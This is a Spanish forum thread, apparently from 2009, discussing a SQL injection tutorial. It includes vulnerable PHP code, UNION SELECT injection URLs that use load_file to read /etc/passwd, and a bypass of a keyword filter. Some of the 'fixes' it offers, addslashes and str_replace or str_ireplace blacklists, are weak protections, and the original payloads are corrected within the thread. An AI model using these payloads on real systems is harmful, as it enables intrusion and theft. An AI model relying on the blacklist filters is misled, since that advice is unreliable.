Ayuda - Búsqueda - Miembros - Calendario
Versión Completa: Obtener archivos del servidor
Foro > Underground informático > Seguridad informática
seguridadblanca.org
Digamos que hemos encontrado un sql injection magic quoutes = off entonces usamos el Admin Path Finder para encontrar una panel pero resulta que no lo encuentra, entonces nosotros diriamos pero entonces que hacemos con el Sql Injection... vamos a hacer algo bien bacan...

Vamos a mostrar primero como sería el code vulnerable y por que lo es...

Code:

CÓDIGO
<?php
$id = $_GET['id'];
$peticion = mysql_query( "SELECT * FROM usuarios WHERE id = '$id'");

?>



Ahora la mayoría mirará directo al codigo en sql y básicamente el error no está ahí,
el error está en el GET que hacemos... mm pues no está filtrado nada, ahora, ustedes dirán si no hay panel como explotamos?

Bueno comenzaremos a hacer la inyección a la variable ID en la web webvulnerable.com:

http://www.webvulnerable.pe/profile.php?id=1

Ahora vamos a inyectarla una inyeccion simple...


http://www.webvulnerable.pe/profile.php?id...ect+1,2,3,4,5--


Nos manda un error diferente en el 4 entonces haremos una inyección como para no complicarnos...

http://www.webvulnerable.pe/profile.php?id...asswd'),5--

En la inyección no hay mucho que decir lo diferente a lo normal que hemos usado es la funcion load_file() la cual nos ayuda a obtener el archivo etc/passwd/ ya ustedes ven si necesitan otro directorio o ustedes dirán que necesitan...

ahora ya sabemos como podemos atacar esto ahora como podemos hacer para que este ataque no nos afecte?...

simplemente hay que hacer algo pequeño:


CÓDIGO
<?php
$id = addslashes($_GET['id']);
$peticion = mysql_query( "SELECT * FROM usuarios WHERE id = '$id'");

?>



hemos añadido addslashes() a nuestro codigo lo cual hará que no podamos poner caracteres inválidos, es mejor que usen otras funciones hechas por ustedes mismos o un str_replace() para un mejor funcionamiento de sus scripts...


Espero les sirva este tutorial y como vieron nisiquiera subimos shell...

Si el Magic_quotes esta off entonces podremos hacer uno que otro movimiento mas a nuestro favor...


Filtro recomendado por Ozx - undersecurity.net:


CÓDIGO
<?php
$id = (int)$_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>


====

Otra Opción con Str Replace... by me...


CÓDIGO
<?php
$id = $_GET['id'];
$id = str_replace("select","lamo",$id);
$peticion = mysql_query( "SELECT * FROM usuarios WHERE id = '$id'");

?>



ustedes modifiquen el str_replace segun su necesidad, yo no se lo que ustedes deseen...
hdstryOwrld
Hey buen manual diría excelente manual, me a encantado me lo mando a favoritos y agradezco tu aportación yo utilizo el método utilizado por Ozx

CÓDIGO
<?php
$id = (int)$_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>
seguridadblanca.org
pusiste doble respuesta xD y pues es conveniente por lo menos hasta que alguien sepa bypassear tongue.gif que no creo que pase.....

PD: yo uso el str_replace es la funcion en la que mas confio...


saludos
dedalo
hdstryOwrld
Yo aún no logro entender el concepto de bypassear pero espero en breve saber exactamente a que se refiere. smile.gif
Sinfocol.org
Dos detalles a tener en cuenta, porque hay varias cosas en la publicación que estan erradas.

El código vulnerable es:
CÓDIGO
<?php
$id = $_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");
?>


Las inyecciones que se muestran son respectivamente:
CÓDIGO
http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,3,4,5--
http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,null,load_file('etc/passwd'),5--


Pero está totalmente erróneo.
* El número de campos en la sentencia (En este caso 1), tiene que ser el mismo número de campos en el union select (Que en este caso es cinco), las inyecciones respectivas no funcionarían.
* No hay que poner los carácteres de comentario al final de la inyección "--" porque simplemente está al final de la sentencia SQL.
* Es indiferente en este caso usar la palabra clave "all" en la inyección. "Si especifica ALL, obtiene todos los registros coincidentes de todos los comandos SELECT usados."

Esta inyección sí funcionaría:
CÓDIGO
http://www.webvulnerable.pe/profile.php?id=1+union+select+load_file('etc/passwd')


Ahora con respecto a este código
CÓDIGO
$id = $_GET['id'];
$user = str_replace("select","lamo",$id);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

Hay dos grandísimos errores:
1. Hace que $user tenga el contenido "filtrado" del $_GET['id'], PERO, cuando vamos a ver en la sentencia, usa $id, en vez de $user, al fin y al cabo no sirve de nada el "filtro".
2. Supongamos que en la sentencia se pone $user en vez de $id, el filtro no sirve, porque el str_replace es caso sensible (Distingue las mayúsculas de las minúsculas), así que si hago esta inyección, funciona a la perfección:
CÓDIGO
http://www.webvulnerable.pe/profile.php?id=1+union+SELEcT+database()

Porque "SELEcT" es diferente a "select"

En estos casos lo recomendable es o usar el cast a entero o usar la función intval()
CÓDIGO
$id = (int) $_GET['id'];


o

CÓDIGO
$id = intval($_GET['id']);
seguridadblanca.org
lo primero del tema tienes razon yo la syntaxis no la programe en el momento estaba haciendo otra cosa y se me olvido cambiar por el * la columna te doy la razon ahora mismo lo cambio y lo del str_replace puse el Select como un ejemplo hermano pero tienes razon cuando dices que es mejor usar int aun que yo prefiero str_replace...


Saludos
hdstryOwrld
CITA(Sinfocol.org @ Dec 11 2009, 02:32 PM) *
Ahora con respecto a este código
CÓDIGO
$id = $_GET['id'];
   $user = str_replace("select","lamo",$id);
   $peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

2. Supongamos que en la sentencia se pone $user en vez de $id, el filtro no sirve, porque el str_replace es caso sensible (Distingue las mayúsculas de las minúsculas), así que si hago esta inyección, funciona a la perfección:
CÓDIGO
http://www.webvulnerable.pe/profile.php?id=1+union+SELEcT+database()

Porque "SELEcT" es diferente a "select"

En estos casos lo recomendable es o usar el cast a entero o usar la función intval()
CÓDIGO
$id = (int) $_GET['id'];

CITA(seguridadblanca.org @ Dec 11 2009, 03:45 PM) *
str_replace puse el Select como un ejemplo hermano pero tienes razon cuando dices que es mejor usar int aun que yo prefiero str_replace...


Leyendo un poco pues miro que es real que la funcion str_replace es case sensitive:

CITA
Note: This function is case-sensitive. Use str_ireplace() for case-insensitive replace.1


Por lo cual lo que menciona seguridadblanca sería correcto según yo si las sentencias fueran de la siguiente forma:

CÓDIGO
$id = $_GET['id'];
   $user = str_ireplace("select","lamo",$id);
   $peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$user'");


Un saludo.

Fuentes:
1http://php.net/manual/en/function.str-replace.php
Esta es una versión "reducida (lo-fi)" de nuestro contenido. Para ver la versión completa con mas información, formato e imágenes, por favor haz click aquí.
Invision Power Board © 2001-2010 Invision Power Services, Inc.